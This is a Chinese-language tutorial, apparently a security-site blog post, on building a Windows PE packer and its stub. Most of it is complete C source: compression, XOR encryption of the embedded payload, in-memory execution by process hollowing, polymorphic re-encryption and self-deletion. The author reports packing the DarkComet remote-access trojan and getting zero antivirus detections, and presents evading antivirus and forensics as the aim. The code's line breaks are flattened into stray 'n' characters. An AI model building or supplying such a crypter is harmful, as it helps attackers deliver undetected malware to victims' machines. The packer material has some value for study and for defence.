深入分析PE可執行文件是如何進行加殼和數據混淆的

在本文,我們將以一個可執行文件的壓縮過程為例,詳細講解我在過去的兩天之中時如何對它進行加殼的。就像是Crypters一樣,我認為這一過程彷彿是地下社團開展的某種暗黑藝術。儘管目前,存在著很多可以公開的加殼器(Packer,例如UPX、Themida等),但我還沒有看到過有講解如何編寫它們的文章。正巧,我前幾天閱讀了Gunther寫的《C83中如何寫一個簡單的可執行文件加殼器》,受這篇文章的啟發,我開始進一步研究這個神秘的話題。通過閱讀這篇文章,我希望大家能夠至少對這些主流加殼工具的功能有所理解。

要閱讀本文,可能需要大量的Windows編程知識,需要讀者具有以下基礎:

1. 熟練使用C/C++;

2. 了解WinAPI及其官方文檔;

3. 具備基本的密碼學知識;

4. 具有文件壓縮的相關知識;

5. 了解PE文件結構。

關於加殼器

所謂加殼器,是利用其特殊優勢,藉助壓縮以混淆數據等方式,防止諸如反彙編之類的逆向工程的一種工具。由於其具有數據混淆的特性,所以惡意軟體開發者會利用它,將惡意代碼隱藏在可執行文件之中,逃避反病毒軟體的檢測。這種行為就像是對混淆後的數據進行了一次加密。同時,在進一步進行壓縮的過程中,加殼器還可以利用一些加密方法,來提供雙層混淆。讓我們首先來看看某個可執行文件的壓縮過程,我們會以直觀的方式來展現:

加殼器負責壓縮(和加密)Payload。

殼(Stub)是可執行文件的一部分,其作用在於提取(解密、解壓縮)Payload,以供執行。

如何編寫加殼器

加殼器需要壓縮並加密Payload,然後將其添加到殼中。下面展示了一個可行的加殼器設計方案。

加殼器的偽代碼(演算法描述語言)如下:

第一步:將Payload文件讀入緩衝區;

第二步:使用指向緩衝區的指針及其原大小來更新結構;

第三步:壓縮Payload緩衝區;

第四步:加密緩衝區;

第五步:創建殼(Stub)輸出文件;

第六步:通過添加Payload緩衝區來更新殼。

以下是該方案對應的具體代碼:

#include <stdio.h>n#include <stdarg.h>n#include <windows.h>n#include <wincrypt.h>n#include <zlib.h>n#include "resource.h"n#define WIN32_LEAN_AND_MEANn#define DEBUGn#define DEBUG_TITLE "STUB - DEBUG MESSAGE"n#define BUFFER_RSRC_ID 10n#define FILE_SIZE_RSRC_ID 20n#define KEY_RSRC_ID 30n#define KEY_LEN 64ntypedef struct _FileStruct {n PBYTE pBuffer;n DWORD dwBufSize;n DWORD dwFileSize;n PBYTE pKey;n} FileStruct, *pFileStruct;nVOID Debug(LPCSTR fmt, ...) {n#ifdef DEBUGn va_list args;n va_start(args, fmt);n vprintf(fmt, args);n va_end(args);n#endifn}nFileStruct *LoadFile(LPCSTR szFileName) {n Debug("Loading %s...n", szFileName);n Debug("Initializing struct...n");n FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));n if (fs == NULL) {n Debug("Create %s file structure error: %lun", szFileName, GetLastError());n return NULL;n }n Debug("Initializing file...n");n // get file handle to filen HANDLE hFile = CreateFile(szFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);n if (hFile == INVALID_HANDLE_VALUE) {n Debug("Create file error: %lun", GetLastError());n free(fs);n return NULL;n }n // get file sizen Debug("Retrieving file size...n");n fs->dwFileSize = GetFileSize(hFile, NULL);n if (fs->dwFileSize == INVALID_FILE_SIZE) {n Debug("Get file size error: %lun", GetLastError());n CloseHandle(hFile);n free(fs);n return NULL;n }n fs->dwBufSize = fs->dwFileSize;n // create heap buffer to hold file contentsn fs->pBuffer = (PBYTE)malloc(fs->dwFileSize);n if (fs->pBuffer == NULL) {n Debug("Create buffer error: %lun", GetLastError());n CloseHandle(hFile);n free(fs);n return NULL;n }n // read file contentsn Debug("Reading file contents...n");n DWORD dwRead = 0;n if (ReadFile(hFile, fs->pBuffer, fs->dwFileSize, &dwRead, NULL) == FALSE) {n Debug("Read file error: %lun", GetLastError());n CloseHandle(hFile);n free(fs);n return NULL;n }n Debug("Read 0x%08x bytesnn", dwRead);n // clean upn CloseHandle(hFile);n return fs;n}nBOOL UpdateStub(LPCSTR szFileName, FileStruct *fs) {n // start updating stubs resourcesn HANDLE hUpdate = BeginUpdateResource(szFileName, FALSE);n // add file as a resource to stubn if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(BUFFER_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pBuffer, fs->dwBufSize) == FALSE) {n Debug("Update resource error: %lun", GetLastError());n return FALSE;n }n // add file size as a resource to stubn if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(FILE_SIZE_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PVOID)&fs->dwFileSize, sizeof(DWORD)) == FALSE) {n Debug("Update resource error: %lun", GetLastError());n return FALSE;n }n // add decryption key as a resourcen if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(KEY_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pKey, KEY_LEN) == FALSE) {n Debug("Update resource error: %lun", GetLastError());n return FALSE;n }n EndUpdateResource(hUpdate, FALSE);n return TRUE;n}nBOOL BuildStub(LPCSTR szFileName, FileStruct *fs) {n Debug("Building stub: %s...n", szFileName);n // get stub program as a resourcen HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(1), "STUB");n if (hRsrc == NULL) {n Debug("Find stub resource error: %lun", GetLastError());n return FALSE;n }n DWORD dwSize = SizeofResource(NULL, hRsrc);n HGLOBAL hGlobal = LoadResource(NULL, hRsrc);n if (hGlobal == NULL) {n Debug("Load stub resource error: %lun", GetLastError());n return FALSE;n }n // get stubs file contentn PBYTE pBuffer = (PBYTE)LockResource(hGlobal);n if (pBuffer == NULL) {n Debug("Lock stub resource error: %lun", GetLastError());n return FALSE;n }n // create output filen Debug("Creating stub...n");n HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);n if (hFile == INVALID_HANDLE_VALUE) {n Debug("Create stub error: %lun", GetLastError());n free(pBuffer);n return FALSE; n }n // write stub content to output filen Debug("Writing payload to stub...n");n DWORD dwWritten = 0;n if (WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL) == FALSE) {n Debug("Write payload to stub error: %lun", GetLastError());n CloseHandle(hFile);n free(pBuffer);n return FALSE;n }n Debug("Wrote 0x%08x bytesnn");n CloseHandle(hFile);n // add payload to stubn Debug("Updating stub with payload...n");n if (UpdateStub(szFileName, fs) == FALSE)n return FALSE;n return TRUE;n}nBOOL GenerateKey(FileStruct *fs) {n fs->pKey = (PBYTE)malloc(KEY_LEN);n if (fs->pKey == NULL) return FALSE;n // initialize crypto service providern HCRYPTPROV hProv = NULL;n if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0) == FALSE) {n Debug("Crypt aquire context error: %lun", GetLastError());n free(fs->pKey);n return FALSE;n }n // generate secure bytesn Debug("Generating cryptographically secure bytes...n");n if (CryptGenRandom(hProv, KEY_LEN, fs->pKey) == FALSE) {n Debug("Generate random key error: %lun", GetLastError());n free(fs->pKey);n return FALSE;n }n Debug("Using key: ");n for (int i = 0; i < KEY_LEN; i++)n Debug("0x%02x ", fs->pKey[i]);n Debug("n");n // clean upn CryptReleaseContext(hProv, 0);n return TRUE;n}n// XORnBOOL EncryptPayload(FileStruct *fs) {n Debug("EncryptPayloading payload...n");n Debug("Generating key...n");n if (GenerateKey(fs) == FALSE) return FALSE;n for (DWORD i = 0; i < fs->dwBufSize; i++)n fs->pBuffer[i] ^= fs->pKey[i % KEY_LEN];n Debug("EncryptPayloadion routine completen");n return TRUE;n}nBOOL CompressPayload(FileStruct *fs) {n Debug("Compressing payload...n");n PBYTE pCompressedBuffer = (PBYTE)malloc(fs->dwBufSize);n ULONG ulCompressedBufSize = compressBound((ULONG)fs->dwBufSize);n compress(pCompressedBuffer, &ulCompressedBufSize, fs->pBuffer, fs->dwBufSize);n fs->pBuffer = pCompressedBuffer;n fs->dwBufSize = ulCompressedBufSize;n Debug("Compression routine completen");n return TRUE;n}nint main(int argc, char *argv[]) {n printf("Copyright (C) 2016 93aef0ce4dd141ece6f5nn");n if (argc < 3) {n Debug("Usage: %s [INPUT FILE] [OUTPUT FILE]n", argv[0]);n return 1;n }n FileStruct *fs = LoadFile(argv[1]);n if (fs == NULL) return 1;n Debug("Applying obfuscation...n");n if (CompressPayload(fs) == FALSE) {n free(fs);n return 1;n }n if (EncryptPayload(fs) == FALSE) {n free(fs);n return 1;n }n Debug("n");n if (BuildStub(argv[2], fs) == FALSE) {n free(fs->pKey);n free(fs);n return 1;n }n // clean upn free(fs->pKey);n free(fs);n Debug("nDonen");n return 0;n}n

其中,CompressPayload函數使用了zLib第三方壓縮庫,以在Payload緩衝區上進行壓縮操作。

EncryptPayload函數則簡單地使用了XOR的加密方式作為示例。在實際應用中,大家完全可以使用RC4或者AES之類的加密方式來替代XOR。該函數中還有一個GenerateKey函數,在每次程序執行時,它都會藉助WinAPI的密碼庫(Cryptography Library),通過使用CSPRNG,來生成唯一的32位長度密鑰。

BuildStub函數負責在殼中創建並添加資源。這些資源時存儲在_FileStruct文件結構中的信息,是在殼本身的常式中所必須的。這些資源將會在殼代碼被覆蓋之後直觀地展示出來。

如何編寫殼

殼的作用在於提取並執行Payload。我們需要注意的是,殼所執行的,是加殼器所執行的反向操作。下面是一個可行的設計方案。

殼的偽代碼如下:

第一步:提取資源;

第二步:解密Payload緩衝區;

第三步:解壓縮緩衝區;

第四步:放置Payload;

第五步:執行Payload。

以下是該方案對應的具體代碼:

#include <stdio.h>n#include <string.h>n#include <stdarg.h>n#include <windows.h>n#include <wincrypt.h>n#include <zlib.h>n#define WIN32_LEAN_AND_MEANn#define DEBUGn#define DEBUG_TITLE "STUB - DEBUG MESSAGE"n#define BUFFER_RSRC_ID 10n#define FILE_SIZE_RSRC_ID 20n#define KEY_RSRC_ID 30n#define KEY_LEN 64ntypedef VOID(*PZUVOS)(HANDLE, PVOID);nntypedef struct _FileStruct {n PBYTE pBuffer;n DWORD dwBufSize;n DWORD dwFileSize;n PBYTE pKey;n} FileStruct, *pFileStruct;nVOID Debug(LPCSTR fmt, ...) {n#ifdef DEBUGn CHAR szDebugBuf[BUFSIZ];n va_list args;n va_start(args, fmt);n vsprintf(szDebugBuf, fmt, args);n MessageBox(NULL, szDebugBuf, DEBUG_TITLE, MB_OK);n va_end(args);n#endifn}nFileStruct *ExtractPayload(VOID) {n FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));n if (fs == NULL) return NULL;n // get file buffern // get size of resourcen HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(BUFFER_RSRC_ID), RT_RCDATA);n if (hRsrc == NULL) {n Debug("Find buffer resource error: %lun", GetLastError());n free(fs);n return NULL;n }n fs->dwBufSize = SizeofResource(NULL, hRsrc);n // get pointer to resource buffern HGLOBAL hGlobal = LoadResource(NULL, hRsrc);n if (hGlobal == NULL) {n Debug("Load buffer resource error: %lun", GetLastError());n free(fs);n return NULL;n }n fs->pBuffer = (PBYTE)LockResource(hGlobal);n if (fs->pBuffer == NULL) {n Debug("Lock buffer resource error: %lun", GetLastError());n free(fs);n return NULL;n }n // get actual file size resourcen hRsrc = FindResource(NULL, MAKEINTRESOURCE(FILE_SIZE_RSRC_ID), RT_RCDATA);n if (hRsrc == NULL) {n Debug("Find file size error: %lun", GetLastError());n free(fs);n return NULL;n }n // get file size valuen hGlobal = LoadResource(NULL, hRsrc);n if (hGlobal == NULL) {n Debug("Load buffer resource error: %lun", GetLastError());n free(fs);n return NULL;n }n fs->dwFileSize = *(LPDWORD)LockResource(hGlobal);n // get decryption keyn hRsrc = FindResource(NULL, MAKEINTRESOURCE(KEY_RSRC_ID), RT_RCDATA);n if (hRsrc == NULL) {n Debug("Find key resource error: %lun", GetLastError());n free(fs);n return NULL;n }n // get pointer to key buffern hGlobal = LoadResource(NULL, hRsrc);n if (hGlobal == NULL) {n Debug("Load key resource error: %lun", GetLastError());n free(fs);n return NULL;n }n fs->pKey = (PBYTE)LockResource(hGlobal);n if (fs->pKey == NULL) {n Debug("Lock buffer resource error: %lun", GetLastError());n free(fs);n return NULL;n }n return fs;n}nBOOL UpdateResources(FileStruct *fs, LPCSTR szFileName) {n HANDLE hUpdate = BeginUpdateResource(szFileName, FALSE);n // add file as a resource to stubn if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(BUFFER_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pBuffer, fs->dwBufSize) == FALSE) {n Debug("Update resource error: %lun", GetLastError());n return FALSE;n }n // add decryption key as a resourcen if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(KEY_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pKey, KEY_LEN) == FALSE) {n Debug("Update resource error: %lun", GetLastError());n return FALSE;n }n if (EndUpdateResource(hUpdate, FALSE) == FALSE) {n Debug("End update resource error: %lun", GetLastError());n }n return TRUE;n}nBOOL GenerateKey(FileStruct *fs) {n fs->pKey = (PBYTE)malloc(KEY_LEN);n if (fs->pKey == NULL) return FALSE;n // initialize crypto service providern HCRYPTPROV hProv = NULL;n if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0) == FALSE) {n Debug("Crypt aquire context error: %lun", GetLastError());n free(fs->pKey);n return FALSE;n }n // generate secure bytesn //Debug("Generating cryptographically secure bytes...n");n if (CryptGenRandom(hProv, KEY_LEN, fs->pKey) == FALSE) {n Debug("Generate random key error: %lun", GetLastError());n free(fs->pKey);n return FALSE;n }n /*n Debug("Using key: ");n for (int i = 0; i < KEY_LEN; i++)n Debug("0x%02x ", fs->pKey[i]);n Debug("n");n */n // clean upn CryptReleaseContext(hProv, 0);n return TRUE;n}n// XORnBOOL DecryptPayload(FileStruct *fs) {n PBYTE pDecryptPayloadedBuffer = (PBYTE)malloc(fs->dwBufSize);n if (pDecryptPayloadedBuffer == NULL) return FALSE;n for (DWORD i = 0; i < fs->dwBufSize; i++)n pDecryptPayloadedBuffer[i] = fs->pBuffer[i] ^ fs->pKey[i % KEY_LEN];n fs->pBuffer = pDecryptPayloadedBuffer;n return TRUE;n}n// XORnBOOL Encrypt(FileStruct *fs) {n return DecryptPayload(fs);n}nBOOL DecompressPayload(FileStruct *fs) {n PBYTE pDecompressedBuffer = (PBYTE)malloc(fs->dwFileSize);n ULONG ulDecompressedBufSize;n uncompress(pDecompressedBuffer, &ulDecompressedBufSize, fs->pBuffer, fs->dwFileSize);n fs->pBuffer = pDecompressedBuffer;n fs->dwBufSize = ulDecompressedBufSize;n return TRUE;n}nVOID DropAndExecutePayload(FileStruct *fs, LPCSTR szFileName) {n DWORD dwWritten;n HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);n WriteFile(hFile, fs->pBuffer, fs->dwFileSize, &dwWritten, NULL);n CloseHandle(hFile);n ShellExecute(NULL, NULL, szFileName, NULL, NULL, SW_NORMAL);n}nBOOL MemoryExecutePayload(FileStruct *fs) {n // PE headersn PIMAGE_DOS_HEADER pidh;n PIMAGE_NT_HEADERS pinh;n PIMAGE_SECTION_HEADER pish;n // process infon STARTUPINFO si;n PROCESS_INFORMATION pi;n // pointer to virtually allocated memoryn LPVOID lpAddress = NULL;n // context of suspended thread for setting address of entry pointn CONTEXT context;n // need function pointer for ZwUnmapViewOfSection from ntdll.dlln PZUVOS pZwUnmapViewOfSection = NULL;n // get file namen CHAR szFileName[MAX_PATH];n GetModuleFileName(NULL, szFileName, MAX_PATH);n // first extract header infon // check if valid DOS headern pidh = (PIMAGE_DOS_HEADER)fs->pBuffer;n if (pidh->e_magic != IMAGE_DOS_SIGNATURE) {n Debug("DOS signature error");n return FALSE;n }n // check if valid pe filen pinh = (PIMAGE_NT_HEADERS)((DWORD)fs->pBuffer + pidh->e_lfanew);n if (pinh->Signature != IMAGE_NT_SIGNATURE) {n Debug("PE signature error");n return FALSE;n }n // first create process as suspendedn memset(&si, 0, sizeof(si));n memset(&pi, 0, sizeof(pi));n si.cb = sizeof(si);n if (CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {n Debug("Create process error %lun", GetLastError());n return FALSE;n }n context.ContextFlags = CONTEXT_FULL;n if (GetThreadContext(pi.hThread, &context) == FALSE) {n Debug("Get thread context");n }n // unmap memory space for our processn pZwUnmapViewOfSection = (PZUVOS)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");n pZwUnmapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);n // allocate virtual space for processn lpAddress = VirtualAllocEx(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);n if (lpAddress == NULL) {n Debug("Virtual alloc error: %lun", GetLastError());n return FALSE;n }n // write headers into memoryn if (WriteProcessMemory(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, fs->pBuffer, pinh->OptionalHeader.SizeOfHeaders, NULL) == FALSE) {n Debug ("Write headers error: %lun", GetLastError());n return FALSE;n }n // write each section into memoryn for (int i = 0; i < pinh->FileHeader.NumberOfSections; i++) {n // calculate section header of each sectionn pish = (PIMAGE_SECTION_HEADER)((DWORD)fs->pBuffer + pidh->e_lfanew + sizeof (IMAGE_NT_HEADERS) + sizeof (IMAGE_SECTION_HEADER) * i);n // write section data into memoryn WriteProcessMemory(pi.hProcess, (PVOID)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress), (LPVOID)((DWORD)fs->pBuffer + pish->PointerToRawData), pish->SizeOfRawData, NULL);n }n // set starting address at virtual address: address of entry pointn context.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;n if (SetThreadContext(pi.hThread, &context) == FALSE) {n Debug("Set thread context error: %lun", GetLastError());n return FALSE;n }n // resume our suspended processesn if (ResumeThread(pi.hThread) == -1) {n Debug("Resume thread error: %lun", GetLastError());n return FALSE;n }n WaitForSingleObject(pi.hProcess, INFINITE);n CloseHandle(pi.hProcess);n CloseHandle(pi.hThread);n return TRUE;n}n/*nVOID RunFromMemory(FileStruct *fs) {n Debug("%p", fs->pBuffer);n HMEMORYMODULE hModule = MemoryLoadLibrary(fs->pBuffer, fs->dwFileSize);n if (hModule == NULL) {n Debug("Memory load library error: %lun", GetLastError());n return;n }n int nSuccess = MemoryCallEntryPoint(hModule);n if (nSuccess < 0) {n Debug("Memory call entry point error: %dn", nSuccess);n }n MemoryFreeLibrary(hModule);n}n*/nVOID SelfDelete(LPCSTR szFileName) {n PROCESS_INFORMATION pi = { 0 };n STARTUPINFO si = { 0 };n si.cb = sizeof(si);n //CreateFile("old.exe", 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);n CHAR szCmdLine[MAX_PATH];n sprintf(szCmdLine, "%s delete", szFileName);n if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi) == FALSE) {n Debug("Create process error: %lun", GetLastError());n }n}nBOOL PolymorphPayload(LPCSTR szFileName) {n MoveFile(szFileName, "old.exe");n CopyFile("old.exe", szFileName, FALSE);n // re-extract resourcesn FileStruct *fs = ExtractPayload();n if (fs == NULL) return FALSE;n // decrypt buffern if (DecryptPayload(fs) == FALSE) {n Debug("DecryptPayload buffer error: %lun", GetLastError());n free(fs);n return FALSE;n }n // generate new keyn if (GenerateKey(fs) == FALSE) {n Debug("Generate key error: %lun", GetLastError());n free(fs);n return FALSE;n }n // encrypt with new keyn if (Encrypt(fs) == FALSE) {n Debug("Encrypt buffer error: %lun", GetLastError());n free(fs->pKey);n return FALSE;n }n // update resourcesn if (UpdateResources(fs, szFileName) == FALSE) {n free(fs->pKey);n free(fs);n return FALSE;n }n SelfDelete(szFileName);n free(fs->pKey);n free(fs);n return TRUE;n}nint APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {n if (strstr(GetCommandLine(), "delete") != NULL) {n while (DeleteFile("old.exe") == FALSE);n } else {n FileStruct *fs = ExtractPayload();n if (fs == NULL) {n Debug("Extract file error: %lun", GetLastError());n return 1;n }n if (DecryptPayload(fs) == TRUE) {n if (DecompressPayload(fs) == TRUE)n //DropAndExecutePayload(fs, "test.exe");n MemoryExecutePayload(fs);n }n free(fs->pBuffer);n free(fs);n CHAR szFileName[MAX_PATH];n GetModuleFileName(NULL, szFileName, MAX_PATH);n PolymorphPayload(szFileName);n }n return 0;n}n

殼的原理非常簡單,就是執行加殼器的反向操作。當它將必要信息從資源中提取到結構之中後,首先會進行解密,隨後通過使用DecryptPayload和DecompressPayload函數來解壓縮緩衝區,以實現對Payload進行反混淆。在成功進行反混淆操作後,殼會將可執行文件放在同一個目錄中,並執行該文件。在這裡,我們如果使用RunPE或者Dynamic Forking的方法,就可以消除磁碟活動記錄,以阻止惡意軟體被取證。

資源及PE文件的格式

以下是針對文件中的資源,進行的一個簡要文件分析:

其中箭頭所指的就是資源段(.rsrc),其中的內容就是添加到二進位文件中的資源。左邊紅色方框中的標籤,代表著PE文件中存在的不同資源。目前,PEView可以顯示資源ID為000A的RCDATA(原始數據),從上面的代碼中我們可以看出,它其實是混淆後的Payload。

這是XOR加密方式的32位元組密鑰。

演示

下面是一個使用putty.exe作為Payload的簡單演示。

首先,啟動加殼器,創建殼,並且對Payload進行混淆。

目前,putty.exe的大小是512KB,其中的殼大小為318KB。現在,我們就可以啟動生成的殼。

如上圖所示,它產生了反混淆後的Payload——test.exe並執行。

後續開發工作

後來,我增加了直接從內存中執行有包裝的Payload的功能。具體而言,我將RunPE中的方法添加到了我的加殼器之中,並且使用MinGW編譯,結果證明它可以完美地運行。下面是Dark Comet遠控木馬加殼後掃描的結果。

Majyx檢測平台(0/35):

NoDistribute檢測平台(0/35):

同時,我還增加了對於Polymorph方式包裝Payload的支持。概括來說,就是用一個新的密鑰來重新加密壓縮的Payload。

結語

在我的研究過程中,遇到的唯一一個困難就是如何去理解資源管理(Resource Management)。除此之外,涉及到的內容都相對簡單。我已經將涉及到的文件上傳至我的GitHub中,其中包括一個已經編譯好的32位可執行文件,供大家參考。

最後,感謝大家的閱讀。

登錄 安全客 - 有思想的安全新媒體 來獲取更多信息


推薦閱讀:

踏潮 BI 學習大綱
運營幹貨 | 「精細化運營」無從下手?那看看這張表吧!
CTR打分模型中為什麼使用邏輯回歸?
如何問出一個應聘者是否真的做過推薦系統?
kaggle案例:員工離職預測

TAG:网络安全 | 互联网 | 数据挖掘 |